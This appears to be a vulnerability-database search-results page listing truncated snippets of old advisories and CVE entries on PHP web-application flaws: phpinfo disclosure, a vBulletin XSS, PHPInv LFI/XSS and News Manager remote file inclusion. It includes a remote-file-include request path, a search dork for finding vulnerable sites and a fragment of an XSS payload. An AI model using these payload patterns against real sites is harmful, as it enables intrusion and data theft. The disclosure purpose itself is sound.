877 matches found
Exploit for vBulletin "obscure" XSS (3.7.1 & 3.6.10)
====================================================================== Advisory : Exploit for vBulletin "obscure" XSS Release Date : June 13th 2008 Application : vBulletin Version : vBulletin 3.7.1 and lower, vBulletin 3.6.10 and lower Platform : PHP Vendor URL : http://www.vbulletin.com/ Authors...
phpinfo跨站脚本漏洞
php是一款被广泛使用的编程语言，可以被嵌套在html里用做web程序开发。phpinfo是用来显示当前php环境的一个函数，许多站点和程序都会将phpinfo放在自己的站点上或者在程序里显示，但是phpinfo里存在一些安全问题，导致精心构造数据就可以产生一个跨站脚本漏洞，可以被用来进行攻击。 影响所有版本的php和浏览器IE7 建议暂时删除站点的phpinfo页面避免被人利用。 html head META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7" /head body iframe...
PHPInv 0.8.0 (LFI/XSS) Multiple Remote Vulnerabilities
No description provided by source. ========================================================= PHPInv 0.8.0 LFI/XSS Multiple Remote Vulnerabilities ========================================================= ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hackin...
PHPInv 0.8.0 (LFI/XSS) Multiple Remote Vulnerabilities
Exploit for unknown platform in category web applications ====================================================== PHPInv 0.8.0 LFI/XSS Multiple Remote Vulnerabilities ====================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH...
phpinv 0.8.0 - Local File Inclusion / Cross-Site Scripting
========================================================= PHPInv 0.8.0 LFI/XSS Multiple Remote Vulnerabilities ========================================================= ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hacking Team...
CVE-2005-4875
TYPO3 3.8.0 and earlier allows remote attackers to obtain sensitive information via a direct request to misc/phpcheck/, which invokes the phpinfo function and prints values of unspecified environment variables...
CVE-2005-4875: Exposure of Sensitive Information to an Unauthorized Actor
TYPO3 3.8.0 and earlier allows remote attackers to obtain sensitive information via a direct request to misc/phpcheck/, which invokes the phpinfo function and prints values of unspecified environment variables...
Newsmanager 2.0 (RFI/RFD/SQL/PB) Multiple Remote Vulnerabilities
No description provided by source. News Manager 2.0 Multiple Vulnerabilities Script : http://superb-east.dl.sourceforge.net/sourceforge/newsrssmanager/newsmanager2.0.zip Dork : "Copyrights 2005 Belgische Federale Overheidsdiensten" 1- Remote File Include Vulnerability...
newsmanager-rfisql.txt
News Manager 2.0 Multiple Vulnerabilities Script : http://superb-east.dl.sourceforge.net/sourceforge/newsrssmanager/newsmanager2.0.zip Dork : "Copyrights © 2005 Belgische Federale Overheidsdiensten" 1- Remote File Include Vulnerability /chreadalso.php?readxmlinclude=http://localhost/020.txt 2-...
newsmanager 2.0 - Remote File Inclusion / File Disclosure / SQL Injection
News Manager 2.0 Multiple Vulnerabilities Script : http://superb-east.dl.sourceforge.net/sourceforge/newsrssmanager/newsmanager2.0.zip Dork : "Copyrights © 2005 Belgische Federale Overheidsdiensten" 1- Remote File Include Vulnerability /chreadalso.php?readxmlinclude=http://localhost/020.txt 2-...
Newsmanager 2.0 (RFI/RFD/SQL/PB) Multiple Remote Vulnerabilities
Exploit for unknown platform in category web applications ================================================================ Newsmanager 2.0 RFI/RFD/SQL/PB Multiple Remote Vulnerabilities ================================================================ News Manager 2.0 Multiple Vulnerabilities Scri...
newsmanager 2.0 - Remote File Inclusion File Disclosure SQL Injection
newsmanager 2.0 - Remote File Inclusion File Disclosure SQL Injection News Manager 2.0 Multiple Vulnerabilities Script : http://superb-east.dl.sourceforge.net/sourceforge/newsrssmanager/newsmanager2.0.zip Dork : "Copyrights © 2005 Belgische Federale Overheidsdiensten" 1- Remote File Include...
Content Management System for Phprojekt 0.6.1 File Disclosure Vuln
No description provided by source. -------------------------------------------------------------------------------------------------------------- ----- H-T Team HouSSaMix + ToXiC350 from MoroCCo ---------------------------------------------------------...
Content Management System for Phprojekt 0.6.1 - File Disclosure
Content Management System for Phprojekt 0.6.1 - File Disclosure -------------------------------------------------------------------------------------------------------------- ----- H-T Team HouSSaMix + ToXiC350 from MoroCCo ---------------------------------------------------------...
Content Management System for Phprojekt 0.6.1 File Disclosure Vuln
Exploit for unknown platform in category web applications ================================================================== Content Management System for Phprojekt 0.6.1 File Disclosure Vuln ==================================================================...
Information disclosure
BolinOS 4.6.1 allows remote attackers to obtain sensitive information via a direct request to system/actionspages/b/contentFiles/gBphpInfo.php, which calls the phpinfo function...
CVE-2008-1557
BolinOS 4.6.1 allows remote attackers to obtain sensitive information via a direct request to system/actionspages/b/contentFiles/gBphpInfo.php, which calls the phpinfo function...
CVE-2008-1557
BolinOS 4.6.1 allows remote attackers to obtain sensitive information via a direct request to system/actionspages/b/contentFiles/gBphpInfo.php, which calls the phpinfo function...
CVE-2008-1557
CVE-2008-1557 affects BolinOS 4.6.1. A remote attacker can obtain sensitive information by directly requesting system/actionspages/_b/contentFiles/gBphpInfo.php, which invokes the PHP phpinfo() function. This results in an information-disclosure vulnerability without requiring authentication. The...
CVE-2008-1557: Exposure of Sensitive Information to an Unauthorized Actor
BolinOS 4.6.1 allows remote attackers to obtain sensitive information via a direct request to system/actionspages/b/contentFiles/gBphpInfo.php, which calls the phpinfo function...